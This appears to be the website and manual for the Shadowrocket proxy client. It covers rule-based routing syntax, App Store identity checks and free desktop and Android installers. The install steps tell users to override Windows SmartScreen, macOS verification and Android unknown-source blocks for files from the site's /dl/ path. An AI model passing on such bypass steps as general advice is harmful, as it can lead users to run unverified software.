Cross-platform client · Official site and manual

Shadowrocket Get started

Cross-platform rule-based proxy client: import an existing subscription and configure rule routing. iPhone / iPad: $2.99 one-time purchase on the App Store; Mac, Windows, Android, and Linux: free.

Current version LoadingMac, Windows, Android, and Linux: free; iPhone / iPad: $2.99 one-time

First-time setup: import and connect step by step

ShadowsocksTrojanConfig
Official Shadowrocket Home screenshot

Feature index / CAPABILITIES

From connection details to matching actions

Distinguish servers, subscriptions, and Config first, then decide how connections should be handled. The rules below demonstrate syntax only; they are not usable server details.

Everyday use of Shadowrocket can be understood in three layers: server details determine where to connect, Config determines how different connections are handled, and the system connection switch determines whether traffic is currently routed through the app. Checking these layers separately makes it easier to find the cause than repeatedly changing configurations. Before you begin, have a subscription link or server details that you already have. Keep subscription addresses, passwords, and access credentials private; do not post them publicly.

In Home under Global Routing, Config applies the current configuration and checks rules in order; Proxy is mainly for testing the selected server; Direct helps check the original network connection. PROXY, DIRECT, and REJECT in rules are action keywords, not the same concepts as these three interface options. After troubleshooting, restore the mode you need and review the actual connection records.

Rules: Process connections in order

View the current configuration's Rule in Config. Rules are checked from top to bottom, and the first match determines the action, so specific domains usually belong before broader conditions. DOMAIN-SUFFIX matches domain suffixes, GEOIP matches based on address location, and FINAL handles connections that did not match earlier rules. PROXY uses the proxy policy, DIRECT connects directly, and REJECT blocks the connection. Back up before editing. Afterward, make sure Global Routing is set to Config and check the connection records to confirm which rule matched.

  • DOMAIN-SUFFIX,example.comPROXY
  • GEOIP,CNDIRECT
  • DOMAIN-KEYWORD,adsREJECT

Device downloads / 2 ways to get the app

Choose Shadowrocket for your platform

iPhone / iPad: $2.99 one-time on the App Store; Mac, Windows, Android, and Linux: free. Get desktop and Android installers from this site's download page under /dl/.

iPhone / iPad

App Store: $2.99 one-time · Other platforms: free

On the App Store product page, check the developer, official icon, and app ID before purchasing. Both devices can share the purchase; use the same purchase account to restore it. System requirements are as listed on the App Store page. If you cannot find the app, first check the current store region; do not identify an app by a similar name alone.

View store and installation details

Mac

Free · Apple silicon / Intel

Check the chip or processor in About This Mac, then choose the matching installer. The Apple silicon and Intel versions are both listed on the download page. If the first launch says the developer cannot be verified, confirm the source, then choose “Open Anyway” in Privacy & Security. See the installation approval guide for details.

Choose a Mac installer

Windows

Free · 64-bit

The download page provides a Windows installer. If SmartScreen appears on first launch, confirm that the file came from this site's /dl/ path, then choose “More info → Run anyway.” On managed computers, follow your administrator's requirements. After installation, import your own server details and check the connection and routing settings.

View Windows download steps

Android

Free · arm64

Get the apk from this site's download page. If the system blocks installation, allow the browser or file manager that opened the file to install unknown apps; you can turn this permission off afterward. If the file will not download in WeChat, open this site in your system browser instead. When a system network permission prompt appears on the first connection, confirm that it was triggered by Shadowrocket.

View Android installation instructions

Linux

Free · deb / rpm / AppImage

Choose a file based on your distribution's package system and device architecture; do not retry files based only on their extensions. AppImage files need execute permission. Install deb and rpm files with the corresponding package manager. The download page lists approval and installation steps. Use the actual downloaded filename and keep a backup of your existing configuration.

View Linux file formats

Platform links lead to the download page, not directly to a fixed-version file. The page lists current installers and system approval instructions, and Mac users can compare both chip options. Automatic system detection shortens the selection process but does not replace your own check. If you are using remote desktop, device emulation, or a special browser, open the relevant platform section manually.

View all platforms

Verify the app / Purchase and usage

Verify the app before importing details

Shadowrocket is closed-source commercial software. This is the official site and manual, with client downloads, configuration instructions, and troubleshooting. It does not provide, sell, or recommend servers or subscriptions.

  • Shadow Launch Technology Limited
  • App ID 932747118
  • iPhone / iPad: $2.99 one-time · Mac / Windows / Android / Linux: free
Official Shadowrocket icon

APP STORE CHECK

Shadowrocket

Developer, icon, and app ID

On iPhone / iPad, open Shadowrocket's App Store product page and check that the developer is Shadow Launch Technology Limited. Compare the official icon shown here, then verify that the product page URL contains app ID 932747118. A similar name is not enough to confirm an app's identity, and the icon alone is not conclusive. Check all three before proceeding to purchase and download.

Search results may include apps with similar names or purposes, so open the product details rather than relying on the results list. An app with the same name but a different developer or app ID is not the product described here. For desktop and Android, choose the Shadowrocket version for your platform on this site's download page and check that the download path is under /dl/. Do not rely on a similarly named file found in search results.

Store region and app availability

App Store availability depends on the store region for the account used with Media & Purchases; it is not determined by the device language alone. This app is not available in the mainland China App Store. If it does not appear in search, check the country or region associated with the current account, then see whether the product page is available. Opening an information page in a browser does not necessarily mean the current account can purchase from that storefront.

To check the region, use the account and purchase options in system settings; do not confuse the iCloud sign-in with the store purchase account. Before changing the store region, review any balance, active subscriptions, or Family Sharing restrictions, and follow the process shown by the system. This site does not provide accounts. For a specific sequence of checks for availability or purchase failures, see the App Store guide.

Two pricing tiers and shared devices

The iPhone / iPad app is a $2.99 one-time purchase on the App Store; the Mac, Windows, Android, and Linux versions are free. The store may display the price in local currency. Before paying, check the product page and payment confirmation screen. A one-time purchase describes how to get the client; it does not indicate the duration, data allowance, or availability of any external service, or whether a server is still active.

An iPhone and iPad can share this purchase when signed in with the same purchase account. Before reinstalling or changing devices, note the account used for the purchase and confirm that the device meets the requirements. System requirements are as listed on the App Store page. To check whether Family Sharing applies, review the actual product page and family settings; restoring a purchase with the same account is not the same process as Family Sharing.

Restore purchases and configuration separately

After changing devices, use the original purchase account to find Shadowrocket in App Store purchases and download it again. Once the app is installed, restore your own subscriptions, server entries, and Config as well. Reinstalling the app does not restore locally saved details to the new device. If the old device is still available, export the configuration first and check its sync status.

Exported files may contain access credentials, so store them somewhere you control. If you use iCloud sync, check the relevant settings and the sync result on both devices instead of checking only whether the switch is on. After importing, review the selected server, Config, and Global Routing, then run a connection test. If reinstalling on desktop or Android, keep a separate copy of your existing configuration too.

After importing, check the actual connection

A server entry appearing in the SERVER group in Home only means that the details have been saved. Select an entry, check the result with Connectivity Test, then connect and visit the destination you need to verify. If you imported a subscription, confirm that the returned content is a server list, not a webpage, error message, or expired response. Record the result before switching entries so you can compare like for like.

Connecting to a server and matching the right rule are separate checks. First confirm Global Routing, then see which action was applied to the destination connection. If it should use a proxy but matched DIRECT, check the rule order. If it matched PROXY but still failed, check the selected entry and protocol details. Testing the original network, server, and rules separately is usually easier to reproduce than changing multiple settings at once.

Check client updates and subscription updates separately

Update the iPhone / iPad app through the App Store. Mac, Windows, Android, and Linux users can return to this site's download page for a current installer. Back up the current configuration before updating and review any required system approval steps. Do not treat a client update as the only response to a server timeout, or delete configuration details you still need after a single failed test.

Updating Subscribe changes entries returned by a subscription you already have; updating Config changes rules and related settings. These are separate from an app update. Traffic statistics in Data reflect the traffic observed by the client and are not the same as an external service's billing period or remaining allowance. When diagnosing an issue, first note what was updated and which step failed, then consult the relevant instructions.

Frequently asked questions

Shadowrocket cannot connect. What should I check first?

First confirm that the original network can access the internet, then test the current server. Check Host, Port, protocol authentication details, and system time one by one, then review Global Routing and the matched rule. Change only one condition at a time and keep the error message. See Frequently asked questions for detailed steps.

Why do I need rules in Config when I already have a server entry?

A server entry describes the connection endpoint; Config describes how to handle different destinations. In Config mode, rule order and the fallback action both affect where connections go. First understand the difference between DOMAIN-SUFFIX, PROXY, and FINAL, then edit the rules. See Glossary.

Should I set up On Demand first?

First import your details manually, select a server, check Config, and connect manually. Set On Demand conditions after verifying the basic connection; otherwise, automatic connection behavior adds another variable to troubleshoot. See the Getting started guide for the recommended order.

Journal / How-to topics

Installation, troubleshooting, and configuration migration

Choose a topic based on the issue. Installation guides cover getting the client, troubleshooting guides check connection conditions, and migration guides help preserve existing details.

Get & Install

Install Shadowrocket on Android

Learn how to choose the apk on this site's download page, allow the browser or file manager to install unknown apps, and switch to the system browser if a download in WeChat fails. Check the file source before handling system prompts, then import your existing details after installation.

Read the Android installation steps